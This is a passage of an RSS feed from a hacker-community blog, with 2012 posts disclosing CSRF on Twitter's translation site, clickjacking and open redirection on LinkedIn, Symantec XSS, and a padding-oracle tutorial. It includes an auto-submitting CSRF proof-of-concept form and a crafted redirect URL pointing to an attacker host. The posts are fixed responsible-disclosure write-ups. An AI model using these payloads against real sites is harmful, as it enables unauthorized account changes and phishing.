<a href="http://www.scribd.com/doc/89782076/Dual-Tone-Multi-Frequency-DTMF-Detection" target="_blank">Dual Tone Multi-Frequency (DTMF) Detection</a><br />
<a href="http://www.binrev.com/forums/index.php/topic/41969-php-dtmf-generator/" target="_blank">PHP dtmf generator - Old Skool Phreaking - Binary Revolution Forums<br />
<br />
C</a>ouple of DTMF Decoder codes for testing:<br />
<a href="https://docs.google.com/viewer?a=v&amp;pid=sites&amp;srcid=ZGVmYXVsdGRvbWFpbnxob2JieWRlYnJhanxneDpjOTAxOGY5NWJmYmYyZA" target="_blank">https://docs.google.com/viewer?a=v&amp;p...OGY5NWJmYmYyZA</a><br />
<a href="http://www.codeforge.com/article/77096" target="_blank">http://www.codeforge.com/article/77096</a><br />
<a href="http://www.phrack.org/issues.html?issue=50&amp;id=13" target="_blank">http://www.phrack.org/issues.html?issue=50&amp;id=13</a></blockquote>


<!-- attachments -->
	<div class="blogattachments">
		
		
			<fieldset class="blogcontent">
				<legend>Attached Images</legend>
				
			</fieldset>
		
		
		

	</div>
<!-- / attachments -->
]]></content:encoded>
			<dc:creator>fb1h2s</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/8/fuzzing-dtmf-detection-algorithms-514/</guid>
		</item>
		<item>
			<title>Twitter Translation Center CSRF (Change Badge and Notification Settings)</title>
			<link>http://www.garage4hackers.com/blogs/3327/twitter-translation-center-csrf-change-badge-notification-settings-513/</link>
			<pubDate>Sat, 20 Oct 2012 05:46:08 GMT</pubDate>
			<description>On 28th September 2012, I found a Cross-Site Request Forgery vulnerability on http://translate.twttr.com which is the Twitter Translation Center. 
...</description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">On 28th September 2012, I found a Cross-Site Request Forgery vulnerability on <a href="http://translate.twttr.com" target="_blank">http://translate.twttr.com</a> which is the Twitter Translation Center.<br />
<br />
While checking the service I landed up on the &quot;<b>Accounts Settings</b>&quot; page which looked like this.<br />
<br />
<br />
<div style="text-align: center;"><img src="http://www.garage4hackers.com/attachment.php?attachmentid=537&amp;d=1350709993" border="0" alt="Name:  settings.jpg
Views: 1479
Size:  30.0 KB"  style="float: CONFIG" /></div><br />
So we've two options here, first one toggles the Twitter Badge setting on Twitter.com and second one  toggles the badge related notification.<br />
<br />
POST request which disables both the settings looks like this:<br />
<br />
<br />
<br />
<span style="font-family: Courier New"><b>POST /user/update HTTP/1.1<br />
Host: translate.twttr.com<br />
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: en-US,en;q=0.5<br />
Accept-Encoding: gzip, deflate<br />
DNT: 1<br />
Proxy-Connection: keep-alive<br />
Referer: <a href="http://translate.twttr.com/user/prakharprasad/settings" target="_blank">http://translate.twttr.com/user/prakharprasad/settings</a><br />
Cookie: &lt;cookies&gt;<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 175<br />
<br />
utf8=%E2%9C%93&amp;_method=put&amp;<br />
authenticity_token=B6PJGp2Hkm1zi6lVN%2FIueNd7QqlAh  IfM5C1pht1MzE8%3D&amp;<br />
user%5Bid%5D=809244&amp;user%5Bbadging_exempted%5D=0&amp;u  ser%5Breceive_badge_email%5D=0</b></span><br />
<br />
<br />
Now in the POST content, parameters of our interest are <b>authenticity_token</b> which is the CSRF prevention token generated by Twitter, <b>user[badging_exempted]</b> and <b>user[receive_badge_email]</b>  toggles the badge related settings, <b>user[id]</b> is the user id of  user, in my case it was 809244 and <b>is static</b>.<br />
<br />
<br />
<br />
So, normally to prevent CSRF on this page <b>authenticity_token</b> needs to be verified on server-side, right ? but this wasn't the situation when I checked it. The server allowed the form to be submitted without even checking the <b>authenticity_token</b> :confused: , which rendered it useless.So we had a <font color="#FF0000">CSRF</font> here.<br />
<br />
The final <b>Proof-of-Concept code</b> I sent to Twitter Security Team to demonstrate CSRF existence looked like this:<br />
<br />
<span style="font-family: Courier New"><b>&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=document.getElementById('xsrf').submit()&gt;<br />
&lt;form id='xsrf' method=&quot;post&quot; action=&quot;http://translate.twttr.com/user/update&quot;&gt;<br />
&lt;input type='hidden' name='user[badging_exempted]' value='0'&gt;&lt;/input&gt;<br />
&lt;input type='hidden' name='user[id]=user[id]' value='809244'&gt;&lt;/input&gt;<br />
&lt;input type='hidden' name='user[receive_badge_email]' value='0'&gt;&lt;/input&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</b></span><br />
<br />
_jim of Twitter Security Team replied within 1 hour of my initial bug report which said the team is investigating the issue.On 16th October the issue was addressed and then onwards the <b>authenticity_token</b> gets checked on the server-side. Any modification to the token results in an error page which looks like this:<br />
<br />
<div style="text-align: center;"><img src="http://www.garage4hackers.com/attachment.php?attachmentid=538&amp;d=1350710314" border="0" alt="Name:  error.jpg
Views: 333
Size:  42.6 KB"  style="float: CONFIG" /></div><br />
<br />
I'm very thankful to Twitter Team for putting my name along with other white-hats on &quot;<b><a href="https://twitter.com/about/security" target="_blank">Security at Twitter</a></b>&quot; Page.<br />
<br />
Conclusively I would thank _jim who kept me in sync while the issue was investigated and addressed.<br />
<br />
<br />
Cheers to all Garage Members :cool:</blockquote>

]]></content:encoded>
			<dc:creator>prakhar</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/3327/twitter-translation-center-csrf-change-badge-notification-settings-513/</guid>
		</item>
		<item>
			<title>Understanding Padding Oracle Attack - Attack on Encryption in CBC mode</title>
			<link>http://www.garage4hackers.com/blogs/174/understanding-padding-oracle-attack-attack-encryption-cbc-mode-503/</link>
			<pubDate>Tue, 09 Oct 2012 19:27:51 GMT</pubDate>
			<description>Before we begin , a few terminologies that we should be familiar with. An Oracle is just a theoritical black box in Cryptography which responds to...</description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">Before we begin , a few terminologies that we should be familiar with. An Oracle is just a theoritical black box in Cryptography which responds to queries that an Adversary sends. For Example , a random Oracle would select and send a truly random value from  a uniform distribution for each query that the Adversary sends to it.  Propery implemented Crypto primitives behave like random Oracles ie even though the attacker intercepts any number of ciphertexts, he wont be able to derive any information whatsoever about the plain text.  CBC (Cipher Block Chaining) is a mode that is secure against a adversary that can launch a chosen plaintext attack. CPA(Chosen Plaintext Attack) is where you can query the oracle with plaintexts(two at a time) of your choice and the Oracle will return the ciphertexts of either one and still the attacker wont be able to predict as to which plaintext the ciphertext belongs to. <br />
<br />
Take a look at the following image(thanks to Wikipedia):<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=528&amp;d=1349861361" border="0" alt="Name:  Cbc_encryption.jpg
Views: 1143
Size:  16.8 KB"  style="float: CONFIG" /><br />
<br />
Basically what it means is that, at first a IV also called the Initialization Vector is chosen from a random distribution and xor'ed with the Plain Text and then subject to the Encryption function 'E' and the resulting CipherText is used as the IV for the next PlainText block.<br />
<br />
Writing it as equation,<br />
<br />
Co=E(k,m^IV)  where '^' refers to the xor operation. Now we can see xor a lot in cryptographic primitives, the reason for that is , when we xor a value from any distribution with another value from a uniform random distribution, then the resulting distribution is also a uniform random distribution. From above, message does not belong to a uniform distribution whereas an IV belongs a uniform distribution but the resulting &quot;m ^ IV&quot; belongs to a uniform distribution. <br />
<br />
Take a look at the following image(thanks again to Wikipedia) for the decryption:<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=529&amp;d=1349861414" border="0" alt="Name:  Cbc_decryption.jpg
Views: 1164
Size:  15.9 KB"  style="float: CONFIG" /><br />
<br />
Writing it again as equation,<br />
<br />
As we know, Co=E(k,m^IV)<br />
Applying decryption wrt 'k' on both sides,we have<br />
<br />
D(k,Co)=m^IV<br />
<br />
xor with IV on both sides (note that &quot;A&quot; ^ &quot;A&quot; == 0), so we have<br />
<br />
m=D(k,Co) ^ IV<br />
<br />
One of the caveats to remember here is that, if we modify IV as IV' such that IV'=IV ^ G, then the resulting plaintext message 'm' also gets xor'ed by G. Keep this mind as we proceed. <br />
Now let's discuss about the padding in CBC assuming we use AES for encryption. Note that AES block size is 16 bytes. So if we have  a block that is not a multiple of block size, say &quot;abcdefghij&quot; which is of size 10 bytes, we need to pad it to 16 bytes. The padding scheme that is generally used is to pad all the remaining bytes with the number of bytes missing. so it will be &quot;abcdefhjij&quot; + 0x6 0x6 0x6 0x6 0x6 0x6 (Notice that 0x6 is different from '6' tats why i made it this way). On decryption, we will look at the last byte , in this case it is 0x6, remove 6 bytes starting from the last byte to get out original message without the pad. Naturally, if we have a block that is  a multiple of blocksize, we need to add a dummy padding block  ' 0x16' repeated 16 times. See the image below to understand the padding scheme.(thanks to GDS Blog) Notice that they are using 3-DES for the encryption so block size is 8 bytes.<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=520&amp;d=1349806901" border="0" alt="Name:  po_fig1_sm.jpg
Views: 1194
Size:  21.5 KB"  style="float: CONFIG" /><br />
<br />
 <br />
So what is padding oracle ? <br />
The vulnerability occurs because of the types of error that previous implementations of SSL/TLS returned to the user, one is if the pad is invalid, it returned a Invalid Pad Error, if the pad is valid but the CT is not valid then it returns a Invalid Message Error. The attacker can query the pad and completely decrypt the Plain text. The following images from GDS blog  does a great job of explaining it.Thanks guys!<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=521&amp;d=1349807276" border="0" alt="Name:  po_fig5_sm.jpg
Views: 1154
Size:  21.8 KB"  style="float: CONFIG" /><br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=522&amp;d=1349807321" border="0" alt="Name:  po_fig6_sm.jpg
Views: 1146
Size:  21.2 KB"  style="float: CONFIG" /><br />
<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=523&amp;d=1349807333" border="0" alt="Name:  po_fig7_sm.jpg
Views: 1160
Size:  20.9 KB"  style="float: CONFIG" /><br />
<br />
What we need to do is , take the last byte of the IV, xor it with a value (G ^ 0x1),then it means that the message also will get xored by (G ^ 0x1) [remember the caveat i told you to keep in mind] , so if the PT's last byte too happens to be 'G' which can take any value from 0-255(a byte's possible values) , then we get a valid pad, since 0x1 is a valid 1-byte pad. To get the previous byte of the plaintext, we take the correct value of the last byte of the plaintext (lets call it 'P') and xor it with 0x2, and xor the last but previous byte of the IV with 'G' xor 0x2 because a valid 2-byte padding is '0x2 0x2' ie we fix the last byte and bruteforce the last but before byte till we get a valid pad. <br />
<br />
There is a programming assignment @ Coursera's crypto class which deals with Padding Oracles,<a href="http://crypto-class.appspot.com/po?er=f20bdba6ff29eed7b046d1df9fb7000058b1ffb4210a580f748b4ac714c001bd4a61044426fb515dad3f21f18aa577c0bdf302936266926ff37dbf7035d5eeb4" target="_blank">http://crypto-class.appspot.com/po?e...7dbf7035d5eeb4</a>  . Our goal is to decrypt the ciphertext, the first 16 bytes are the IV (no need to decrypt them ofcourse). Below is a program I wrote in Python (I am kinda new to python so excuse the sloppiness) that decrypts the first 16 bytes of the message, the rest you can do if you  are interested. Basically, if the pad is valid then the server responds with a 404 HTTP Error, else it responds with a 403 HTTP Error<br />
<br />
This is the following link to the code : <a href="http://pastebin.com/kcN5i4Ze" target="_blank">http://pastebin.com/kcN5i4Ze</a>   Not able to post the code here . am getting a .htaccess error for some reason! Mods can you look up the issue.<br />
<br />
[UPDATE] Fixed the attachment image! Sorry for the inconvenience<br />
<br />
Comments are Welcome.<br />
<br />
Best Regards and Peace</blockquote>

]]></content:encoded>
			<dc:creator>sebas_phoenix</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/174/understanding-padding-oracle-attack-attack-encryption-cbc-mode-503/</guid>
		</item>
		<item>
			<title><![CDATA[Linkedin's Clickjacking & Open Url Redirection Vulnerabilities]]></title>
			<link>http://www.garage4hackers.com/blogs/54/linkedins-clickjacking-open-url-redirection-vulnerabilities-502/</link>
			<pubDate>Tue, 09 Oct 2012 11:11:03 GMT</pubDate>
			<description><![CDATA[---Quote (Originally by ajaysinghnegi)--- 
# Vulnerability Title: Secondary Email Addition & Deletion Via Click   Jacking in Linkedin 
# Website...]]></description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore"><div class="bbcode_container">
	<div class="bbcode_quote">
		<div class="quote_container">
			<div class="bbcode_quote_container"></div>
			
				<div class="bbcode_postedby">
					<img src="http://www.garage4hackers.com/images/misc/quote_icon.png" alt="Quote" /> Originally Posted by <strong>ajaysinghnegi</strong>
					<a href="showthread.php?p=8813#post8813" rel="nofollow"><img class="inlineimg" src="http://www.garage4hackers.com/images/buttons/viewpost-right.png" alt="View Post" /></a>
				</div>
				<div class="message"># Vulnerability Title: Secondary Email Addition &amp; Deletion Via Click   Jacking in Linkedin<br />
# Website Link:  [Tried on Indian version]<br />
#  Found on: 06/08/2012<br />
# Author:  Ajay Singh Negi<br />
# Version:  [All language versions would be vulnerable]<br />
# Tested on: [Indian  version]<br />
# Reported On: 07/08/2012<br />
# Status: Fixed<br />
#  Patched On: 10/09/2012<br />
# Public Release: 15/09/2012<br />
<br />
<br />
<br />
<b><u>Summary</u></b><br />
<br />
<br />
A  Clickjacking vulnerability existed on Linkedin that  allowed an attacker to add or delete a secondary email and can also make  existing secondary email as primary email by redressing the manage  email page.<br />
<br />
<br />
<b><u>Details</u></b><br />
<br />
<br />
Linkedin  manage email page (a total of 1 page) was lacking  X-FRAME-OPTIONS in Headers and Frame-busting javascript  measures to  prevent  framing of the pages. So the manage email page could be redressed  to 'click-jack' Linkedin users. Below I have mentioned the vulnerable  Url and also attached the Proof of concept screenshots.<br />
<br />
<br />
<br />
<br />
<b>1.  Click Jacking Vulnerable Url:</b><br />
<a href="http://www.google.com/url?q=https%3A%2F%2Fwww.linkedin.com%2Fsettings%2Fmanage-email%3Fgoback%3D.nas_*1_*1_*1&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNGkjluV_mUQz-l0-O4AE2x6J5lKqA" target="_blank">https://www.linkedin.com/settings/manage-email?goback=.nas_*1_*1_*1</a><br />
<br />
<br />
<br />
<br />
<b>Click  Jacking</b><b> Vulnerability POC Screenshots:</b><br />
<br />
<br />
<div style="text-align: center;"><a href="http://4.bp.blogspot.com/-5q4B3AZ_w8w/UFS_icRJgWI/AAAAAAAAAKQ/BtjQTxU8bKk/s1600/Linkedin+Secondary+Email+Addition+POC+Step+1.jpg" target="_blank"><img src="http://4.bp.blogspot.com/-5q4B3AZ_w8w/UFS_icRJgWI/AAAAAAAAAKQ/BtjQTxU8bKk/s640/Linkedin+Secondary+Email+Addition+POC+Step+1.jpg" border="0" alt="" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
The redressed  editor page with frame opacity set to 0 so it is invisible  to the user. As the user drags the computer into the trash-bin and  clicks the  Go button, a new secondary email will be added into the Linkedin user's  account.<br />
<br />
<br />
<div style="text-align: center;"><a href="http://3.bp.blogspot.com/--JExAfrXWhE/UFS_pwfK7qI/AAAAAAAAAKY/Amuu3SgN4-k/s1600/Linkedin+Secondary+Email+Addition+POC+Step+2.jpg" target="_blank"><img src="http://3.bp.blogspot.com/--JExAfrXWhE/UFS_pwfK7qI/AAAAAAAAAKY/Amuu3SgN4-k/s640/Linkedin+Secondary+Email+Addition+POC+Step+2.jpg" border="0" alt="" /></a><br />
</div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
With the  frames opacity set to 0.5 you can clearly see the redressed page and  all the background. The computer is actually a text area that  contains the attacker's email address which is selected by default with  the computer image(Using JavaScript), once the Linkedin user drags the  computer he will actually  drag the attackers email address into the add secondary email address  area and when he  will click the go button, the Linkedin user will actually click the  redressed add email address  button and the attackers email will be successfully added in the  Linkedin users account.<br />
<br />
<br />
<br />
<br />
<div style="text-align: center;"><a href="http://3.bp.blogspot.com/-8TSbGtC9hm8/UFTA5wyr6QI/AAAAAAAAAK4/sZGFP49vFD0/s1600/Linkedin+Secondary+Email+Addition+POC+Step+3.jpg" target="_blank"><img src="http://3.bp.blogspot.com/-8TSbGtC9hm8/UFTA5wyr6QI/AAAAAAAAAK4/sZGFP49vFD0/s640/Linkedin+Secondary+Email+Addition+POC+Step+3.jpg" border="0" alt="" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
Secondary  email added successfully into the Linkedin users account.<br />
<br />
<br />
<br />
<br />
<div style="text-align: center;"><a href="http://1.bp.blogspot.com/-RPTXjiTbjJ8/UFS_6RKaX8I/AAAAAAAAAKo/q4IrKYLS0Ds/s1600/X-Frame+Header+Missing+Server+Response+Header.jpg" target="_blank"><img src="http://1.bp.blogspot.com/-RPTXjiTbjJ8/UFS_6RKaX8I/AAAAAAAAAKo/q4IrKYLS0Ds/s640/X-Frame+Header+Missing+Server+Response+Header.jpg" border="0" alt="" /></a><br />
</div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
No  X-Frame-Options in servers response header.<br />
<br />
<br />
Linkedin  addressed the vulnerability by adding X-FRAME-OPTIONS in header  field which is set to SAMEORIGIN on this page.<br />
<br />
<br />
<br />
<br />
<br />
<br />
# Vulnerability Title: Open Url  Redirection in Linkedin<br />
# Website Link:  [Tried on Indian version]<br />
#  Found on: 05/08/2012<br />
# Author:  Ajay Singh Negi<br />
# Version:  [All language versions would be vulnerable]<br />
# Tested on: [Indian  version]<br />
# Reported On: 06/08/2012<br />
# Status: Fixed<br />
#  Patched On: 07/09/2012<br />
# Public Release: 15/09/2012<br />
<br />
<br />
<br />
<b><u>Summary</u></b><br />
<br />
<br />
Open  Url  Redirection using which an attacker can redirect any Linkedin user to  any  malicious website. Below I have mentioned the vulnerable  Url and also attached the Proof of concept video.<br />
<br />
<br />
<b>Original  Open Url  Redirection Vulnerable Url:</b><br />
<br />
<br />
<a href="https://help.linkedin.com/app/utils/log_error/et/0/ec/7/callback/https%3A%2F%2Fhelp.linkedin.com%2Fapp%2Fhome%2Fh%2Fc%2Ffrom_auth%2Ftrue" target="_blank">https://help.linkedin.com/app/utils/...om_auth%2Ftrue</a><br />
<br />
<br />
<br />
<b>Crafted  Open Url  Redirection Vulnerable Url:</b><br />
<a href="http://www.google.com/url?q=https%3A%2F%2Fhelp.linkedin.com%2Fapp%2Futils%2Flog_error%2Fet%2F0%2Fec%2F7%2Fcallback%2Fhttp%253A%252F%252Fattacker.in&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNHwFbje3XOKHpKQ48bGat-sG-MjCQ" target="_blank">https://help.linkedin.com/app/utils/log_error/et/0/ec/7/callback/http%3A%2F%2Fattacker.in</a><br />
<br />
<br />
  <br />
<b>Open Url  Redirection Vulnerability POC Video:</b><br />
<br />

<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/ELmV6KML-NE" frameborder="0"></iframe>
<br />
<div style="text-align: center;"> <br />
</div><br />
<br />
<br />
Special Thanks to AMol NAik, Sandeep Kamble and all G4H members.</div>
			
		</div>
	</div>
</div></blockquote>

]]></content:encoded>
			<dc:creator>ajaysinghnegi</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/54/linkedins-clickjacking-open-url-redirection-vulnerabilities-502/</guid>
		</item>
		<item>
			<title>Symantec.com subdomains Multiple XSS Vulnerabilities</title>
			<link>http://www.garage4hackers.com/blogs/3327/symantec-com-subdomains-multiple-xss-vulnerabilities-437/</link>
			<pubDate>Thu, 27 Sep 2012 18:53:06 GMT</pubDate>
			<description>Around half dozen XSS vulnerabilities were found on three subdomains of Symantec Corp. by me 
 
http://clientui-kb.symantec.com...</description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">Around half dozen XSS vulnerabilities were found on three subdomains of Symantec Corp. by me<br />
<br />
<a href="http://clientui-kb.symantec.com" target="_blank">http://clientui-kb.symantec.com</a><br />
<a href="http://sfdoccentral.symantec.com" target="_blank">http://sfdoccentral.symantec.com</a><br />
<a href="http://engweb.symantec.com" target="_blank">http://engweb.symantec.com</a><br />
<br />
<br />
<br />
<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=515&amp;d=1348770636" border="0" alt="Name:  cl.jpg
Views: 1342
Size:  96.4 KB"  style="float: CONFIG" /><br />
<br />
<br />
<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=516&amp;d=1348770688" border="0" alt="Name:  sd.jpg
Views: 1190
Size:  60.3 KB"  style="float: CONFIG" /><br />
<br />
<br />
<br />
<br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=517&amp;d=1348770733" border="0" alt="Name:  en.jpg
Views: 1186
Size:  69.0 KB"  style="float: CONFIG" /><br />
<br />
<br />
<br />
All the reported vulnerabilities have been fixed by Symantec :cool:<br />
<br />
Cheers to all G4H Members :) w00t</blockquote>

]]></content:encoded>
			<dc:creator>prakhar</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/3327/symantec-com-subdomains-multiple-xss-vulnerabilities-437/</guid>
		</item>
	</channel>
</rss>
